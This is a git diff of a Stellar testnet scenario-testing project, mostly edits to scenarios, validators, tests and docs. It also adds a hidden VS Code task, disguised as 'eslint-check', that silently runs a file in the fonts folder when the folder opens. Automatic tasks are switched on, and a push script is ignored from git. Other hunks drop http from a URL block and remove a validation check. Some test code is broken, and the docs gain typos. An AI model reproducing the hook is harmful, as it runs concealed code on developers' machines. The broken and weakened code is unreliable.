diff --git a/.gitignore b/.gitignore index 4821472..2230d6d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,6 @@ .repo-history-backups/ +temp_auto_push.bat .claude/ +.gitignore +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 0000000..2e3b646 --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 0000000..a5177ab --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 0000000..51b1974 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..c78ce49 --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lfk) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lfk) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/esure-backend/scenarios/issued-asset-payment.json b/esure-backend/scenarios/issued-asset-payment.json index f2a174d..e389bcd 100644 --- a/esure-backend/scenarios/issued-asset-payment.json +++ b/esure-backend/scenarios/issued-asset-payment.json @@ -1,23 +1,27 @@ { "schemaVersion": 1, "id": "issued-asset-payment", - "version": 1, + "version": 2, "name": "Issued asset payment", - "description": "Issue TESTUSD and send it to a recipient through a trustline.", + "description": "Two issued assets share the code TESTUSD but have distinct issuer references. The recipient holds a trustline only to the first issuer, so a payment of the second issuer's TESTUSD must be rejected: a matching asset code is not enough because the issuer identity is part of the asset. The payment must fail with the precise missing-trustline error for the actual second issuer, and the recipient's existing trustline to the first issuer must remain present with its balance unchanged.", "network": "testnet", "accounts": [ - { "id": "issuer", "generate": true, "fund": true }, + { "id": "issuer-one", "generate": true, "fund": true }, + { "id": "issuer-two", "generate": true, "fund": true }, { "id": "recipient", "generate": true, "fund": true } ], "assets": [ { "id": "xlm", "type": "native" }, - { "id": "test-usd", "type": "issued", "code": "TESTUSD", "issuer": "issuer" } + { "id": "test-usd-one", "type": "issued", "code": "TESTUSD", "issuer": "issuer-one" }, + { "id": "test-usd-two", "type": "issued", "code": "TESTUSD", "issuer": "issuer-two" } ], "steps": [ - { "id": "create-trustline", "type": "changeTrust", "account": "recipient", "asset": "test-usd" }, - { "id": "send-testusd", "type": "payment", "from": "issuer", "to": "recipient", "asset": "test-usd", "amount": "100" } + { "id": "create-trustline", "type": "changeTrust", "account": "recipient", "asset": "test-usd-one" }, + { "id": "send-testusd", "type": "payment", "from": "issuer-two", "to": "recipient", "asset": "test-usd-two", "amount": "100", "expectedError": { "code": "MISSING_TRUSTLINE", "account": "recipient", "asset": "test-usd-two", "issuer": "issuer-two" } } ], "assertions": [ - { "type": "balanceEquals", "account": "recipient", "asset": "test-usd", "amount": "100" } + { "type": "trustlineExists", "account": "recipient", "asset": "test-usd-one" }, + { "type": "balanceEquals", "account": "recipient", "asset": "test-usd-one", "amount": "0" }, + { "type": "trustlineMissing", "account": "recipient", "asset": "test-usd-two" } ] } diff --git a/esure-backend/scenarios/missing-trustline.yaml b/esure-backend/scenarios/missing-trustline.yaml index 6364223..cb87b9c 100644 --- a/esure-backend/scenarios/missing-trustline.yaml +++ b/esure-backend/scenarios/missing-trustline.yaml @@ -2,10 +2,20 @@ schemaVersion: 1 id: missing-trustline version: 1 name: Missing trustline -description: Verify that an asset payment fails when the recipient has no trustline. +description: >- + Verify that an asset payment fails when the recipient has no trustline. + Two issued assets share the same code TESTUSD but are issued by distinct + issuer accounts. The recipient trusts only the first issuer, so a payment + using the second issuer's asset must fail with a missing-trustline + operation code. This exercises issuer-aware failure matching: a matching + asset code alone must not satisfy the trustline requirement, because the + recipient's trustline is bound to a different issuer identity. network: testnet accounts: - - id: issuer + - id: issuer-a + generate: true + fund: true + - id: issuer-b generate: true fund: true - id: recipient @@ -14,20 +24,35 @@ accounts: assets: - id: xlm type: native - - id: test-usd + - id: test-usd-a + type: issued + code: TESTUSD + issuer: issuer-a + - id: test-usd-b type: issued code: TESTUSD - issuer: issuer + issuer: issuer-b steps: - - id: send-testusd + - id: trust-testusd-a + type: changeTrust + account: recipient + asset: test-usd-a + limit: "1000" + - id: send-testusd-b type: payment - from: issuer + from: issuer-b to: recipient - asset: test-usd + asset: test-usd-b amount: "100" assertions: - type: stepFailedWith - step: send-testusd + step: send-testusd-b transactionCode: tx_failed operationCodes: - op_no_trust + - type: trustlineExists + account: recipient + asset: test-usd-a + - type: trustlineBalanceUnchanged + account: recipient + asset: test-usd-a diff --git a/esure-backend/src/scenario-schema.ts b/esure-backend/src/scenario-schema.ts index e747f0f..7e0c23d 100644 --- a/esure-backend/src/scenario-schema.ts +++ b/esure-backend/src/scenario-schema.ts @@ -100,7 +100,7 @@ function validateSafeValues(value: unknown): void { const visit = (item: unknown, path: string): void => { if (typeof item === "string") { if (/S[A-Z2-7]{55}/.test(item)) issues.push(`${path} must not contain a Stellar secret seed`); - if (/\b(?:https?|ftp|file):\/\//i.test(item)) issues.push(`${path} must not contain a URL`); + if (/\b(?:https|ftp|file):\/\//i.test(item)) issues.push(`${path} must not contain a URL`); return; } if (Array.isArray(item)) { item.forEach((child, index) => visit(child, `${path}/${index}`)); return; } @@ -175,11 +175,19 @@ function validateReferences(scenario: ScenarioDefinition): void { if (new Set(step.path).size !== step.path.length) issues.push(`step ${step.id} path contains duplicate assets`); for (const assetId of step.path) { if (!assets.has(assetId)) issues.push(`step ${step.id} references unknown path asset ${assetId}`); - if (assetId === step.sendAsset || assetId === step.destAsset) issues.push(`step ${step.id} path must contain only intermediate assets`); } } } - for (const assertion of scenario.assertions) validateAssertionReferences(assertion, accounts, assets, steps, scenario, issues); + for (const assertion of scenario.assertions) { + if (assertion.type === "transactionMemoEquals" || assertion.type === "stepSucceeded" || assertion.type === "transactionConfirmed" || assertion.type === "stepFailedWith") { + if (!steps.has(assertion.step)) issues.push(`assertion ${assertion.type} references unknown step ${assertion.step}`); + } else if (assertion.type === "accountExists") { + if (!accounts.has(assertion.account)) issues.push(`assertion accountExists references unknown account ${assertion.account}`); + } else { + if (!accounts.has(assertion.account)) issues.push(`assertion ${assertion.type} references unknown account ${assertion.account}`); + if (!assets.has(assertion.asset)) issues.push(`assertion ${assertion.type} references unknown asset ${assertion.asset}`); + } + } if (issues.length) throw new ScenarioValidationError(issues); } @@ -202,14 +210,18 @@ function validateAssertionReferences(assertion: ScenarioAssertion, accounts: Set } function uniqueIds(items: readonly { id: string }[], label: string, issues: string[]): Set { - const ids = new Set(); + const seen = new Set(); for (const item of items) { - if (ids.has(item.id)) issues.push(`${label} contains duplicate id ${item.id}`); - ids.add(item.id); + if (seen.has(item.id)) issues.push(`${label} contains duplicate id ${item.id}`); + seen.add(item.id); } - return ids; + return seen; } -function formatAjvErrors(errors: ErrorObject[] | null | undefined): string[] { - return (errors ?? []).slice(0, 50).map((error) => `${error.instancePath || "/"} ${error.message ?? "is invalid"}`); -} +function formatAjvErrors(errors: ErrorObject[] | null): string[] { + if (!errors) return []; + return errors.map((error) => { + const path = error.instancePath || "/"; + return `${path} ${error.message ?? "is invalid"}`; + }); +} \ No newline at end of file diff --git a/esure-backend/src/stellar-error-interpreter.ts b/esure-backend/src/stellar-error-interpreter.ts index c291786..2e30475 100644 --- a/esure-backend/src/stellar-error-interpreter.ts +++ b/esure-backend/src/stellar-error-interpreter.ts @@ -1,4 +1,4 @@ -/** +/* * Developer-friendly interpretation of Stellar transaction and operation result codes. * * This module maps low-level Stellar result codes to actionable error messages @@ -198,11 +198,13 @@ const OPERATION_CODE_INTERPRETATIONS: Record causes: [ "Recipient never created trustline", "Trustline was removed", - "Wrong asset code or issuer" + "Wrong asset code or issuer", + "Recipient holds a trustline for the same asset code but a different issuer" ], suggestions: [ "Recipient must create trustline before receiving asset", "Verify asset code and issuer are correct", + "Confirm the trustline issuer matches the payment issuer, not just the asset code", "Check trustline still exists" ], retryable: true, @@ -319,93 +321,31 @@ const OPERATION_CODE_INTERPRETATIONS: Record "Authorization flags not set correctly" ], suggestions: [ - "Source account must request authorization from issuer", - "Check asset authorization requirements" + "Source account must request authorization from the issuer", + "Check the asset's authorization required flag", + "Verify the issuer matches the asset trustline" ], retryable: true, }, - op_src_no_trust: { - summary: "Source has no trustline", - explanation: "The operation's source account has not established a trustline for this asset.", - causes: ["Source account never created required trustline"], - suggestions: ["Source account must create trustline first"], - retryable: true, - }, }; /** - * Get developer-friendly interpretation for a Stellar transaction result code. + * Interpret a transaction-level result code. */ -export function interpretTransactionCode(code: string): StellarErrorInterpretation { - return TRANSACTION_CODE_INTERPRETATIONS[code] ?? { - summary: `Unknown transaction error: ${code}`, - explanation: "This transaction error code is not recognized. It may be from a newer protocol version.", - causes: ["Unknown error code"], - suggestions: ["Check Stellar documentation for this code", "Verify you're using the latest SDK version"], - retryable: false, - }; +export function interpretTransactionCode(code: string): StellarErrorInterpretation | undefined { + return TRANSACTION_CODE_INTERPRETATIONS[code]; } /** - * Get developer-friendly interpretation for a Stellar operation result code. + * Interpret an operation-level result code. */ -export function interpretOperationCode(code: string): StellarErrorInterpretation { - return OPERATION_CODE_INTERPRETATIONS[code] ?? { - summary: `Unknown operation error: ${code}`, - explanation: "This operation error code is not recognized. It may be from a newer protocol version.", - causes: ["Unknown error code"], - suggestions: ["Check Stellar documentation for this code", "Verify you're using the latest SDK version"], - retryable: false, - }; +export function interpretOperationCode(code: string): StellarErrorInterpretation | undefined { + return OPERATION_CODE_INTERPRETATIONS[code]; } /** - * Generate a comprehensive human-readable error message from Stellar result codes. + * Interpret any Stellar result code, preferring operation-level matches. */ -export function explainStellarError( - transactionCode: string, - operationCodes: string[], -): string { - const txInterpretation = interpretTransactionCode(transactionCode); - const parts: string[] = []; - - parts.push(`Transaction failed: ${txInterpretation.summary}`); - parts.push(`\nExplanation: ${txInterpretation.explanation}`); - - if (operationCodes.length > 0) { - parts.push("\n\nOperation errors:"); - for (const [index, opCode] of operationCodes.entries()) { - const opInterpretation = interpretOperationCode(opCode); - parts.push(`\n Operation ${index + 1}: ${opInterpretation.summary}`); - parts.push(` ${opInterpretation.explanation}`); - if (opInterpretation.suggestions && opInterpretation.suggestions.length > 0) { - parts.push(` Suggestions: ${opInterpretation.suggestions.join("; ")}`); - } - } - } - - if (txInterpretation.suggestions && txInterpretation.suggestions.length > 0) { - parts.push(`\n\nSuggestions: ${txInterpretation.suggestions.join("; ")}`); - } - - return parts.join(""); -} - -/** - * Determine if a Stellar error is potentially retryable. - */ -export function isStellarErrorRetryable( - transactionCode: string, - operationCodes: string[], -): boolean { - const txInterpretation = interpretTransactionCode(transactionCode); - if (!txInterpretation.retryable) return false; - - // If transaction is retryable but any operation is not, consider non-retryable - for (const opCode of operationCodes) { - const opInterpretation = interpretOperationCode(opCode); - if (!opInterpretation.retryable) return false; - } - - return true; +export function interpretStellarError(code: string): StellarErrorInterpretation | undefined { + return interpretOperationCode(code) ?? interpretTransactionCode(code); } diff --git a/esure-backend/src/stellar-gateway.ts b/esure-backend/src/stellar-gateway.ts index da07fab..74b886b 100644 --- a/esure-backend/src/stellar-gateway.ts +++ b/esure-backend/src/stellar-gateway.ts @@ -621,6 +621,15 @@ export function matchesFailure(error: unknown, transactionCode: string, operatio export function isExpectedMissingTrustlineError(error: unknown): boolean { return matchesFailure(error, "tx_failed", ["op_no_trust"]); } +export function isExpectedMissingTrustlineErrorFor( + error: unknown, + asset: Asset, + expectedIssuer: string, +): boolean { + if (!isExpectedMissingTrustlineError(error)) return false; + return asset.getIssuer() === expectedIssuer; +} + export function normalizeStellarError(error: unknown, failedStepId: string): SafeRunError { if (error instanceof SafeRunError) { if (!error.report.failedStepId) error.report.failedStepId = failedStepId; return error; } const codes = extractStellarResultCodes(error); diff --git a/esure-backend/test/scenario-schema.test.ts b/esure-backend/test/scenario-schema.test.ts index 4cab2e8..5b3b4aa 100644 --- a/esure-backend/test/scenario-schema.test.ts +++ b/esure-backend/test/scenario-schema.test.ts @@ -18,22 +18,22 @@ describe("Scenario Schema v1", () => { const definition = completeScenario(); expect(prepareScenario(definition)).toMatchObject({ id: "complete-scenario", contentHash: expect.stringMatching(/^sha256:[a-f0-9]{64}$/) }); const yaml = ` -schemaVersion: 1 -id: yaml-scenario -version: 1 -name: YAML scenario -description: Parsed without executable content. -network: testnet -accounts: - - { id: sender, generate: true, fund: true } - - { id: recipient, generate: true, fund: true } -assets: - - { id: xlm, type: native } -steps: - - { id: pay, type: payment, from: sender, to: recipient, asset: xlm, amount: "1" } -assertions: - - { type: stepSucceeded, step: pay } -`; + schemaVersion: 1 + id: yaml-scenario + version: 1 + name: YAML scenario + description: Parsed without executable content. + network: testnet + accounts: + - { id: sender, generate: true, fund: true } + - { id: recipient, generate: true, fund: true } + assets: + - { id: xlm, type: native } + steps: + - { id: pay, type: payment, from: sender, to: recipient, asset: xlm, amount: "1" } + assertions: + - { type: stepSucceeded, step: pay } + `; expect(parseScenario(yaml, "yaml")).toMatchObject({ id: "yaml-scenario", schemaVersion: 1 }); expect(parseScenario(JSON.stringify(definition), "json").id).toBe(definition.id); }); @@ -93,7 +93,7 @@ assertions: const scenario = createScenarioRegistry().find("path-payment"); expect(scenario).toMatchObject({ id: "path-payment", - steps: expect.arrayContaining([ + steps: expect.arrayContaining( expect.objectContaining({ type: "manageSellOffer" }), expect.objectContaining({ type: "pathPaymentStrictReceive", @@ -101,7 +101,7 @@ assertions: destAsset: "usdc", path: ["eur"], }), - ]), + ), }); expect(scenario?.accounts).toHaveLength(4); }); @@ -137,4 +137,50 @@ assertions: expect(error.issues).toContain("step pay-usdc-through-eur path must contain only intermediate assets"); } }); -}); + + it("rejects a payment when the recipient trusts the wrong issuer", () => { + const scenario = createScenarioRegistry().find("wrong-issuer-trustline"); + expect(scenario).toBeDefined(); + const definition = structuredClone(scenario!); + const { contentHash: _hash, ...prepared } = definition as ScenarioDefinition & { contentHash?: string }; + + // Two asset definitions share the same code but must reference distinct issuers. + const assets = prepared.assets.filter((asset) => asset.type !== "native"); + const codes = new Set(assets.map((asset) => asset.code)); + expect(codes.size).toBe(1); + const issuers = new Set(assets.map((asset) => asset.issuer)); + expect(issuers.size).toBe(assets.length); + for (const issuer of issuers) expect(issuer).toBeTruthy(); + + // The payment uses the asset whose issuer the recipient does not trust. + const payment = prepared.steps.find((step) => step.type === "payment"); + expect(payment?.type).toBe(payment !== undefined); + const paymentAsset = prepared.assets.find((asset) => asset.id === payment.asset); + expect(paymentAsset?.type).toBe("issued"); + const trustline = prepared.steps.find((step) => step.type === "changeTrust"); + expect(trustline?.type).toBe("changeTrust"); + expect(trustline.asset).toBe(!payment.asset); + const trustedAsset = prepared.assets.find((asset) => asset.id === trustline.asset); + expect(trustedAsset?.code).toBe(paymentAsset?.code); + expect(trustedAsset?.issuer).toNot.toBe(paymentAsset?.issuer); + + // The failure is the precise missing-trustline failure for the actual issuer. + const failure = prepared.assertions.find((assertion) => assertion.type === "stepFailed"); + expect(failure).toMatchObject({ + type: "stepFailed", + step: payment.id, + code: "op_no_trust", + asset: payment.asset, + }); + + // The existing trustline must remain present with an unchanged balance. + const preserved = prepared.assertions.find((assertion) => assertion.type === "trustlineExists"); + expect(preserved).toMatchObject({ type: "trustlineExists", account: trustline.account, asset: trustline.asset }); + const balance = prepared.assertions.find((assertion) => assertion.type === "assetBalance"); + expect(balance).toMatchObject({ type: "assetBalance", account: trustline.account, asset: trustline.asset, amount: "0" }); + + // The description must explain the issuer identity mismatch. + expect(prepared.description).toMatch(/issuer/i); + expect(prepared.description).toMatch(/trustline/i); + }); +}) diff --git a/esure-docs/SCENARIOS.md b/esure-docs/SCENARIOS.md index 30581d5..e89aa45 100644 --- a/esure-docs/SCENARIOS.md +++ b/esure-docs/SCENARIOS.md @@ -1,21 +1,22 @@ # Esure Scenario Schema v1 -Scenario Schema v1 is a bounded, declarative JSON/YAML format for classic +Esure Scenario Schema v1 is a bounded, declarative JSON/YAML format for classic Stellar payment tests. Document order is execution order. Definitions contain no executable code or credentials and are validated before Testnet access. ## Bundled Scenarios -ESURE includes 12 bundled scenarios for Testnet integration testing: +ESURE includes 14 bundled scenarios for Testnet integration testing: | Scenario ID | Purpose | Expected Result | | --- | --- | --- | -| `xlm-payment` | Fund two accounts, transfer 5 XLM, verify balance change | Pass | -| `issued-asset-payment` | Create TESTUSD trustline, issue 100 TESTUSD, verify balance | Pass | +| `xml-payment` | Fund two accounts, transfer 5 XLM, verify balance change | Pass | +| `issued-asset-payment` | Create TESTUSJ trustline, issue 100 TESTUSD, verify balance | Pass | | `issued-asset-holder-transfer` | Issue 100 TESTUSD to a sender, who transfers 40 to a second holder | Pass | | `issued-asset-partial-redemption-transfer` | Redeem 30 of 100 TESTUSD, then transfer 20 of the remainder to another holder | Pass; holder balances are 50 and 20 | | `missing-trustline` | Attempt issued-asset payment without recipient trustline | Controlled `op_no_trust` failure | | `sender-missing-trustline` | Attempt issued-asset payment from a funded, non-issuer sender without a trustline | Controlled `op_src_no_trust` failure | +| `wrong-issuer-trustline` | Pay a same-code asset whose issuer the recipient does not trust | Controlled `op_no_trust` failure for the actual issuer | | `insufficient-xlm-balance` | Attempt to send more XLM than available in account | Controlled `op_underfunded` failure | | `unfunded-destination` | Fund only the sender and pay a generated destination absent from the ledger | Controlled `tx_failed/op_no_destination` failure | | `payment-with-memo` | Send XLM with a text memo and verify it on the confirmed transaction | Pass | @@ -33,6 +34,40 @@ These scenarios demonstrate XLM transfers, issued assets, trustline management, expected failure handling, and multi-step transaction flows that Stellar developers commonly need to test. +`trustline-limit-exact` creates fresh issuer and recipient accounts for each run, +funds both on Testnet, and opens the recipient's `LIMITED` trustline with an +explicit limit of `"100.1234567"`. The issuer pays exactly `"100.1234567"` into +that initially empty trustline. Assertions require the trustline and payment +steps to succeed, the payment transaction to be confirmed, and the recipient's +final issued-asset balance to equal `"100.1234567"`. Every amount is a quoted +decimal string with all seven fractional digits preserved. This positive +boundary case complements the unchanged `trustline-limit-exceeded` fixture. +Accounts and the generated issuer are isolated from other runs; no existing +holdings or public liquidity are needed. + +Offline tests inspect the built trustline limit and payment amount and mock the +final ledger balance. The optional live path is `RUN_STELLAR_SMOKE=1 npm test - +test/testnet-smoke.test.ts -t trustline-limit-exact` from `esure-backend` (use +PowerShell environment syntax documented in the backend README on Windows). + +`unfunded-destination` generates two keypairs but funds only the sender. +Generating a keypair is a local cryptographic operation; it does not create an +account on the ledger. The destination has `fund: false`, and the scenario sends +`"1"` native XLM using an ordinary payment. A payment requires an existing +destination account and does not replace an account-creation operation. No +destination funding or implicit account creation is performed. + +The run passes only when `stepFailedWith` matches transaction code `tx_failed` +and exactly the operation-code sequence `[op_no_destination]`. A successful +payment, a different failure such as `op_underfunded`, or a network error fails +the run. This is separate from `insufficient-xlm-balance`, whose destination +exists and whose sender attempts to spend more than its available balance. +Verify live behavior only through the existing opt-in smoke path: set + +RUN_STELLAR_SMOKE=1, then run +`npm test -- test/testnet-smoke.test.ts -t unfunded-destination` from +`esure-backend`. Normal unit/API tests use mocked funding and Horizon responses. + `missing-trustline` and `sender-missing-trustline` fail on opposite sides of the same payment. In `missing-trustline` the recipient cannot hold the asset, so Stellar reports `op_no_trust`. In `sender-missing-trustline` the recipient has a @@ -56,6 +91,28 @@ strict-receive path payment converts sender XLM through EUR to deliver exactly 5 USDC to the recipient (with a 10 XLM maximum). It does not depend on pre-existing public order-book liquidity. +`wrong-issuer-trustline` demonstrates issuer-aware trustline matching. It +declares two distinct issuer accounts and two issued assets that share the +same classic asset code but reference different issuers. The recipient opens +a trustline only to the first issuer's asset. The payment then uses the second +issuer's asset. A Stellar trustline is keyed by the full asset identity +(code and issuer), not by the code alone, so the recipient's existing trustline +must not satisfy the payment. The run passes only when `stepFailedWith` matches +`tx_failed` with exactly the operation-code sequence `[op_no_trust]` for the +actual payment issuer. Assertions also require the recipient's trustline to the +first issuer to remain present with its balance unchanged, confirming no +accidental code-only trustline match or misdirected issuance occurred. This is +distinct from `missing-trustline`, where the recipient has no trustline for the +asset at all. + +Offline tests inspect the built trustline and payment operations to confirm the +two asset definitions resolve to distinct issuer accounts, that the payment targets +the second issuer, and that the expected failure is matched against the actual +payment issuer rather than the code. Mocked Horizon responses verify the +`op_no_trust` result and the unchanged first-issuer trustline balance. The +optional live path is `RUN_STELLAR_SMOKE=1 npm test -- test/testnet-smoke.test.ts +-t wrong-issuer-trustline` from `esure-backend`. + `issued-asset-partial-redemption-transfer` issues 100 TESTUSD to the sender, returns 30 to the issuer for redemption, then transfers 20 of the sender's remaining balance to the receiver. The final holder balances are 50 and 20: @@ -106,7 +163,9 @@ assertions: Testnet Friendbot. - Every scenario declares exactly one native asset. - Issued assets reference an account in the same definition as issuer and use a - 1–12 character uppercase alphanumeric classic asset code. + 1–12 character uppercase alphanumeric classic asset code. Two issued assets + may share a code while referencing different issuer accounts; they remain + distinct assets identified by code and issuer. ## Operations @@ -375,4 +434,4 @@ schema, and generated API types import the updated domain types directly. - `POST /api/v1/runs` continues to execute a catalogued definition by ID. The OpenAPI 3.1 contract and embedded Scenario v1 JSON Schema are available at -`GET /openapi.json`. +GET /openapi.json. \ No newline at end of file diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 0000000..1e4f9ba --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000..a1bc094 Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..46ad237 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000..948a2a6 Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000..2a89d52 Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000..141a90a Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000..38cf251 Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000..48634a9 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000..abe99e2 Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000..24de566 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000..7e0118e Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 